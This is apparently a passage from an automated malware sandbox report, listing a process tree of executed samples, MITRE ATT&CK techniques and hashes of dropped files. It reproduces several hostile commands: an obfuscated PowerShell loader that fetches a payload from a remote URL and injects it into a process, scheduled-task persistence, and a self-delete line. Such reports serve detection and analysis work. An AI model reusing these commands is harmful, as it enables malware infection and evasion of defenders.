        C:\Windows\system32\Emmdom32.exe
        77⤵
        
        PID:7808
- C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe
  "C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe"
  2⤵
  PID:1180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -windowstyle hidden "$Nummmeret=Get-Content 'C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Printermanualens.Ear';$Trojanerens=$Nummmeret.SubString(42833,3);.$Trojanerens($Nummmeret) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6108
- C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe
  "C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe"
  2⤵
  PID:3932
- C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe
  "C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe"
  2⤵
  PID:2948
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VCREDI~2.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VCREDI~2.EXE
    3⤵
    PID:2508
  - - C:\Windows\SysWOW64\msiexec.exe
      msiexec /i vcredist.msi
      4⤵
      Event Triggered Execution: Installer Packages
      PID:5280
- C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe
  "C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe"
  2⤵
  PID:2748
- C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe
  "C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe"
  2⤵
  PID:4260
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
    3⤵
    PID:1560
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 520
      4⤵
      Program crash
      PID:3684
- C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe
  "C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe"
  2⤵
  PID:1216
- - C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe
    C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe /C
    3⤵
    PID:7096
- C:\Users\Admin\AppData\Local\Temp\gold.exe
  "C:\Users\Admin\AppData\Local\Temp\gold.exe"
  2⤵
  PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dwn" /tr '"C:\Users\Admin\AppData\Roaming\dwn.exe"' & exit
    3⤵
    PID:6764
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "dwn" /tr '"C:\Users\Admin\AppData\Roaming\dwn.exe"'
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpECB2.tmp.bat""
    3⤵
    PID:6896
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5316
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HONG_KONG_CHEMHERE_QUOTE_REQUEST.vbs"
  2⤵
  PID:2764
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SW5WT0tlLWV4UFJlU1NJT04oKCc2SGMnKyd1JysncicrJ2wgPScrJyAnKydNUlBodHRwczonKycvL2lhJysnNicrJzAwMTAwLnUnKydzLmEnKydyYycrJ2hpJysndicrJ2UuJysnb3InKydnLzI0L2knKyd0ZW1zL2QnKydldGFoLW5vdGUtdi9EJysnZXQnKydhaE5vdGVWLnQnKyd4JysndCcrJ01SUCcrJzs2SGNiYXNlJysnNjRDb250JysnZW50JysnID0gKE5lJysndy1PYmplJysnY3QgUycrJ3lzdGVtLk5ldC5XZScrJ2JDJysnbGknKydlbnQpLkRvd24nKydsJysnb2FkJysnU3RyaW4nKydnJysnKDYnKydIJysnY3UnKydyJysnbCcrJyknKyc7NkhjYmluJysnYXJ5QycrJ29udGVudCA9ICcrJ1tTeXN0ZW0uQ29uJysndmVydF06OkZybycrJ20nKydCYXMnKydlNjQnKydTJysndHInKydpbmcoNkhjYmFzZTYnKyc0Q29udGVudCk7NicrJ0gnKydjYXNzZW1ibHknKycgPSBbUicrJ2VmbGUnKydjdGlvJysnbi5Bc3MnKydlJysnbWJseScrJ10nKyc6OkwnKydvJysnYWQnKycoNkhjJysnYmknKyduYXJ5QycrJ28nKydudGVudCk7NkgnKydjdHlwZScrJyA9JysnICcrJzZIYycrJ2Fzc2VtYicrJ2x5LkdldFR5JysncGUoTScrJ1JQUicrJ3VuUEUuSG8nKydtZScrJ00nKydSUCcrJyk7NkgnKydjbWV0aG8nKydkJysnICcrJz0nKycgJysnNicrJ0hjJysndHknKydwJysnZS5HZXRNJysnZXRoJysnb2QoTVInKydQJysnVkFJTVJQKScrJzs2SGMnKydtZScrJ3QnKydob2QuSW52b2tlKDZIJysnY24nKyd1JysnbGwsIFtvYmplYycrJ3RbXV1AKE0nKydSJysnUHR4dC4nKyd5YScrJ2Rub20vdmUnKydkLjInKydyLjMnKyc5YjM0NTMwJysnMmEwNzViMWJjMGQ0JysnNWInKyc2MycrJzJlYjllZTYyLWJ1cC8nKycvOnNwJysndHRoTVJQICwgTVJQZGVzYXQnKydpJysndicrJ2FkbycrJ01SUCAsIE0nKydSUCcrJ2Rlc2F0aXYnKydhZCcrJ29NUicrJ1AgLCBNUlBkZXMnKydhdGl2YScrJ2RvTVJQLE1SUEEnKydkZEknKyduUHJvY2VzczMnKycyTVJQJysnLE0nKydSJysnUE1SUCkpJykuUmVQbGFjRSgnNkhjJyxbU3RSaW5HXVtDSEFSXTM2KS5SZVBsYWNFKChbQ0hBUl03NytbQ0hBUl04MitbQ0hBUl04MCksW1N0UmluR11bQ0hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2020
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "InVOKe-exPReSSION(('6Hc'+'u'+'r'+'l ='+' '+'MRPhttps:'+'//ia'+'6'+'00100.u'+'s.a'+'rc'+'hi'+'v'+'e.'+'or'+'g/24/i'+'tems/d'+'etah-note-v/D'+'et'+'ahNoteV.t'+'x'+'t'+'MRP'+';6Hcbase'+'64Cont'+'ent'+' = (Ne'+'w-Obje'+'ct S'+'ystem.Net.We'+'bC'+'li'+'ent).Down'+'l'+'oad'+'Strin'+'g'+'(6'+'H'+'cu'+'r'+'l'+')'+';6Hcbin'+'aryC'+'ontent = '+'[System.Con'+'vert]::Fro'+'m'+'Bas'+'e64'+'S'+'tr'+'ing(6Hcbase6'+'4Content);6'+'H'+'cassembly'+' = [R'+'efle'+'ctio'+'n.Ass'+'e'+'mbly'+']'+'::L'+'o'+'ad'+'(6Hc'+'bi'+'naryC'+'o'+'ntent);6H'+'ctype'+' ='+' '+'6Hc'+'assemb'+'ly.GetTy'+'pe(M'+'RPR'+'unPE.Ho'+'me'+'M'+'RP'+');6H'+'cmetho'+'d'+' '+'='+' '+'6'+'Hc'+'ty'+'p'+'e.GetM'+'eth'+'od(MR'+'P'+'VAIMRP)'+';6Hc'+'me'+'t'+'hod.Invoke(6H'+'cn'+'u'+'ll, [objec'+'t[]]@(M'+'R'+'Ptxt.'+'ya'+'dnom/ve'+'d.2'+'r.3'+'9b34530'+'2a075b1bc0d4'+'5b'+'63'+'2eb9ee62-bup/'+'/:sp'+'tthMRP , MRPdesat'+'i'+'v'+'ado'+'MRP , M'+'RP'+'desativ'+'ad'+'oMR'+'P , MRPdes'+'ativa'+'doMRP,MRPA'+'ddI'+'nProcess3'+'2MRP'+',M'+'R'+'PMRP))').RePlacE('6Hc',[StRinG][CHAR]36).RePlacE(([CHAR]77+[CHAR]82+[CHAR]80),[StRinG][CHAR]39) )"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6772
- C:\Users\Admin\AppData\Local\Temp\l6E.exe
  "C:\Users\Admin\AppData\Local\Temp\l6E.exe"
  2⤵
  PID:1792
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1784
- C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe
  "C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe"
  2⤵
  PID:888
- - C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe
    "C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe"
    3⤵
    PID:6000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe"
      4⤵
      PID:4268
- C:\Users\Admin\AppData\Local\Temp\tt.exe
  "C:\Users\Admin\AppData\Local\Temp\tt.exe"
  2⤵
  PID:2720
- C:\Users\Admin\AppData\Local\Temp\sloppyCatsV1.exe
  "C:\Users\Admin\AppData\Local\Temp\sloppyCatsV1.exe"
  2⤵
  PID:1656
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:5048
- C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe
  "C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe"
  2⤵
  PID:1904
- - C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe
    "C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe"
    3⤵
    PID:5756
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\Py017394- 01.htm
    3⤵
    PID:2320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9a9183cb8,0x7ff9a9183cc8,0x7ff9a9183cd8
      4⤵
      PID:6088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1876,16946509442862152897,17488075654965348858,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1888 /prefetch:2
      4⤵
      PID:5668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1876,16946509442862152897,17488075654965348858,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 /prefetch:3
      4⤵
      PID:5896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1876,16946509442862152897,17488075654965348858,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
      4⤵
      PID:1168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,16946509442862152897,17488075654965348858,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:1
      4⤵
      PID:4020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,16946509442862152897,17488075654965348858,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2964 /prefetch:1
      4⤵
      PID:3288
- C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe
  "C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe"
  2⤵
  PID:5768
- C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe
  "C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe"
  2⤵
  PID:5952
- - C:\Users\Admin\AppData\Local\Temp\is-4BS0T.tmp\is-I310O.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-4BS0T.tmp\is-I310O.tmp" /SL4 $30236 C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe 2516569 51200
    3⤵
    PID:5384
- C:\Users\Admin\AppData\Local\Temp\OGGY.exe
  "C:\Users\Admin\AppData\Local\Temp\OGGY.exe"
  2⤵
  PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\ & exit
    3⤵
    PID:5548
  - - C:\Windows\system32\wusa.exe
      wusa C:\Users\Admin\AppData\Local\Temp\64.cab /quiet /extract:C:\Windows\system32\migwiz\
      4⤵
      PID:652
- C:\Users\Admin\AppData\Local\Temp\lol.exe
  "C:\Users\Admin\AppData\Local\Temp\lol.exe"
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR "C:\Users\Admin\AppData\Local\Temp\lol.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1560 -ip 1560
1⤵
PID:5800

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2148

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6524

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6728

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1ab6627d6da0724908361604b2b351b7

SHA1
d6e7960616dd38cd05633face9bb0bdd061e3211

SHA256
88a373cea6d7ad2daaee9168a0519f8a23ab9ec9cbceab97df4c8d39fe1544d0

SHA512
59903d7dd6da68cb4378eceb6e356d5861514b8365da747da4cd05615ec7c7a51c810cbac6a7a00256db1aeedad80ef71b6ff06bae61e1884e620cc4a45a2d33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
25d7facb86265ce3e89835dd7b566491

SHA1
4db1197fadadd7742986efdc2ca76f89cef96942

SHA256
3d225a00da389fde7674a7eeb98e8572be2879252290ac00faa3a80ea671073f

SHA512
cbfc02ffc441edc20c72b35d20b15178a2173e2a1c54e3736f7ba6d058e1ac7a5c1b15798bf5b91ed3a8197430f0fe84aa3d75a8aba61b4f4dd85c1b3fe68bbb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
402c76678c282d5b77a0138fed3598d6

SHA1
d8434546dc37c5af0f7233f50d3d5a1f770bb7db

SHA256
1b8fad8438b7199e5ed972bafbb8b78d14aebbbba136de11a8b03f082014666d

SHA512
d20593a1c17b751984a80ba4d95d1e17f2fa2a1299ff84c6254af65eec9040c3ab99ee533edcb35466971b60175b1120e3d5ace1d92e96ab70dd6aa6b393565d

Download Submit
C:\Users\Admin\AppData\Local\Temp\016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0.exe

Filesize
487KB

MD5
d9ade81857f1e31c667c61fc45de2a31

SHA1
2765c74e8c4f4d18ca1785123bf8dab1cfcf52dc

SHA256
016da9d36c37374be6d7e43e162fd9a5c64e0c465b4cecdb50a02c7b119f64b0

SHA512
15cfe9f990a95b89790097ba4d888b315abe4c2fc9aad182a9c9470b17763c84e850c508c70cfcee9824bcde05542856d7b9a129ec4e4d9d1c9bf19ef3b5dac0

Download Submit
C:\Users\Admin\AppData\Local\Temp\0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766.exe

Filesize
10KB

MD5
63ee90997ac58b541b59a3b1b90bdd25

SHA1
8329596e204c8e70bed39ce5e2eb1ad58b30a282

SHA256
0d4c465488b6f5f760e98a15d77da181419223fdd93915e0fb90646c645b7766

SHA512
46b78e2b25a61f61d1a2428bc8461155b087b4f582cfa6a77226d6eac6753a22765458ba6e10764618ab86eef7a4b9f7b146c4b1b178aa16c1f16a0912689ef4

Download Submit
C:\Users\Admin\AppData\Local\Temp\1955e7fe3c25216101d012eb0b33f527.exe

Filesize
830KB

MD5
1955e7fe3c25216101d012eb0b33f527

SHA1
f8a184b3b5a5cfa0f3c7d46e519fee24fd91d5c7

SHA256
55194a6530652599dfc4af96f87f39575ddd9f7f30c912cd59240dd26373940b

SHA512
5c4a65e898f89bdb83b66aa15205200c359a64994b939eb5ca8fe3b1d94eb67a3174a784616f984e4a21663680a496f7a50b00be35ad12c6d38df10cabd65233

Download Submit
C:\Users\Admin\AppData\Local\Temp\5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f.exe

Filesize
159KB

MD5
d69165cfd5e6da160c2a60bad8a9daff

SHA1
466caab305aace6234238a45b5dad9d6c0f182ff

SHA256
5fd43ae47a37af3f2975e4a9c5bb91ccbf1556e07e98ba91ba0ff25ab3a2b91f

SHA512
2f55cc32d9355bc6e6e814a7fee6bf45051eafab56ec3935598483164278ba4cdbf560a1c2491fff54f7dbe67fa9c718893e4d19047b0846cc3e1fd6f329b002

Download Submit
C:\Users\Admin\AppData\Local\Temp\64.cab

Filesize
49KB

MD5
8cfa6b4acd035a2651291a2a4623b1c7

SHA1
43571537bf2ce9f8e8089fadcbf876eaf4cf3ae9

SHA256
6e438201a14a70980048d2377c2195608d5dc2cf915f489c0a59ac0627c98fa9

SHA512
e0a73401ce74c8db69964ef5a53f2a1b8caf8c739359785970295dae82619e81c0a21466327a023cf4009e0c15981a20bf1e18c73821083908fce722faa82685

Download Submit
C:\Users\Admin\AppData\Local\Temp\90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7.exe

Filesize
851KB

MD5
0824428fdccf3c63fc1ca19a1dd7ef74

SHA1
1ad8480cc56e94153a22d46a5a6020dc27052ae2

SHA256
90a82defe606e51d2826265a43737130682b738241700782d7e41188475b7fb7

SHA512
9ee92aea5d688b48e632ad8f8d0bb1402480b413ecf51fe03e4618f979e787fea6e98d4287f0acdeada129db91929401bccafd27d642cfe460d52adafc16f08f

Download Submit
C:\Users\Admin\AppData\Local\Temp\MTLADYYASSOVESSELBRIEFDETAILS.exe

Filesize
748KB

MD5
e831581bced8750ffada97258b002ead

SHA1
a49a29ebfe5e2fad0e051ce28c981d0169f1ea62

SHA256
e3c1ca2def13e63fbbb0ab64ee9d5831ea24ef23f0598ef7a89b6215328041c3

SHA512
7659d281b7751f22d7a1383887d53d6ded4e7d1bdc83c7bb71ffde0b2f1316ba31d81ea8eab8ee1be261a620c65dbb1d5e26dfcb2a737db21b3158dfea843cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\OGGY.exe

Filesize
441KB

MD5
ef29a0ec4e49731b2cd54022a5056bcb

SHA1
bf06aba725a5b3107ab5f36bea11d2f4cedd7446

SHA256
ddfdb1ecd032286b5504f265172185ae8a8547b68cc03d25a918e8a65fa4ab24

SHA512
fa8c59ffe1165b201bd052168140bf3300f60672def2efcad00410a0eb72c79dbea494528599ff4cb4465720b8e7dc73bd8e1bd408d28c53d7e05ba546ee14aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Payload.cmd.exe

Filesize
92KB

MD5
7b9d932d7fa6f4895fce34a4ef3625e9

SHA1
a02a6e650d55afc1eb802955e176581a37967099

SHA256
6004ce80c1520b3e77c6482e0dae0ba5ffc8b99220600b7f2338c372b0602d5b

SHA512
92e6c8662a91839271c4237b0f79e2b3d45ffc4ca37c1340d0d16e14830da1e0c3d6cf9085baf5d27a995b816c925606a197b0d9b43eec3677522988df3633e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Trojan.Win32.Genome.ic-9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524.exe

Filesize
2.6MB

MD5
c5978c4476250907db84f1221a9f283f

SHA1
dea6419701077c48c62594840605324eabc5b537

SHA256
9507dcec3bf5533f4a2c08baae8bc6f2c46c62d2918090aff1a7c337dc82f524

SHA512
76a9cd0a21e014e479e59c5e752c29dbb21e4737f205ad05ae66a6c772e48c53e71128b83cba3f961d8e9acc5758878feefe115a4961fc5b35713e59f493105f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Wire-transaction073921.exe

Filesize
172KB

MD5
6e39b6a0d1989cc7d65a28172be66bee

SHA1
4ed2c84403ba5c886d7b01bb58418ef20b1ee61a

SHA256
92c5a24d6412d5e91c001b33ab65cd1094e55264db42ac1a5680a0b2907a638c

SHA512
1a9a14ebeb42a97aa9db3ae5563cb74e6b2462f8240c7472589f4bf43eb61d4f9b0991ab6f9f75dd962735cb73bcb08b69756ef2091379cea52d2da778c8b20b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Zahlungsbest_tigung.exe

Filesize
1.6MB

MD5
f711e5126f671f7a3b4e124bd553bcdb

SHA1
8ab7bcc77eee7973845299edc8209e7a94c3cc4b

SHA256
80c7d29a1d98676c27132672175396193cb92ee30bdcfbf6a6c0ceb41b3d9616

SHA512
af8c950452169d34a5d56761b20f1968cf99577211668d9f9aa8511d5076fa330b0653a58fcde7ececd8ad5695acffa0460f13affc48831222646c5e4e4fcd6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_on2gwqdm.h2y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660N.exe

Filesize
3.1MB

MD5
98157242119050a31f3206a6bc672b40

SHA1
5d2c2d43d422f3f3f7afcd0656d1b8962c24300a

SHA256
a870c320630662dc799591a755e192fdadcb7ac52caf9781f52ae3ed5fb78660

SHA512
55001504e625a12e29498206a0812f47bfba59f59b15590c205c00a1c6105de27977907e01bd74583f03d38d2d05d213c70584de1c863d3ec3a17aac99f23239

Download Submit
C:\Users\Admin\AppData\Local\Temp\autEC64.tmp

Filesize
47KB

MD5
9dda4db9e90ff039ad5a58785b9d626d

SHA1
507730d87b32541886ec1dd77f3459fa7bf1e973

SHA256
fc31b205d5e4f32fa0c71c8f72ee06b92a28bd8690f71ab8f94ff401af2228fe

SHA512
4cfecaaccd0f8f9e31690ff80cca83edc962e73861043fffded1a3847201455d5adca7c5ef3866c65e6e516205e67b2f31c8149aad5be1065c1eb586b013f86a

Download Submit
C:\Users\Admin\AppData\Local\Temp\be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db.exe

Filesize
259KB

MD5
1c0674970e55ff28e3d6d4b9fc435f39

SHA1
e33df0cd1ead927fb3ad769ff311e5598c533da2

SHA256
be790b55b11f6502be0c8cf14f2ab4f9e97debe7e07efde26cf24f3927d791db

SHA512
d7118c1d4df00ba69ac69a8d8907a93122e7414c127280250d1e8dcf5603c762923fc19e26c770b5dcecec306fe1559bb1ea813cdcfadc0031ca72ae29c5b74f

Download Submit
C:\Users\Admin\AppData\Local\Temp\bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fcaN.exe

Filesize
981KB

MD5
e396a001881be59b603fc8533a611830

SHA1
48b7b6918771176093ea6cbfbaea156276e89fe4

SHA256
bec705145d0fedf1bc77946f40328e8c1a00a55f41e55c1892c4fe39bac01fca

SHA512
44ffded892662d67f870c0f576d17937259cae65bf3e119139a630391608a7eeee711ccca89ebf790bc482de36113aefaf87582aa323ce012816767a42548184

Download Submit
C:\Users\Admin\AppData\Local\Temp\c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4.exe

Filesize
1.8MB

MD5
c9ca67936e230c7dc2f41f19c7febb6d

SHA1
17bbb5024f39d2409fc908481ace2d2ece9670f9

SHA256
c23c9580f06fdc862df3d80fb8dc398b666e01a523f06ffa8935a95dce4ff8f4

SHA512
6445443fd4836dd3006434fdc2c170b6e5527eb1195475c7c3306f6ac8e46206e485153cb2bbf616ab30d3f40da74ec7759e9acd59cf3dbf0ea3318171a6a810

Download Submit
C:\Users\Admin\AppData\Local\Temp\gold.exe

Filesize
2.7MB

MD5
ec0f2247b5090083a04edf0b674b4688

SHA1
4d3becdf23aad4164040294f82911a702962f1a4

SHA256
b1d07ce93c3d2fdf063a3f0f7310136f0542c5071a5c1bf6ff49421e64a7f2fa

SHA512
74d514567ec2b65a0fd2ac443a73b775ac2f87d750f4a9c74fa0072137fb141cf8fb330963e078c9d2d419cd1629da809701abc30dd2ed5816f7cdcc523da7b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\l6E.exe

Filesize
345KB

MD5
fac2188e4a28a0cf32bf4417d797b0f8

SHA1
1970de8788c07b548bf04d0062a1d4008196a709

SHA256
d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207

SHA512
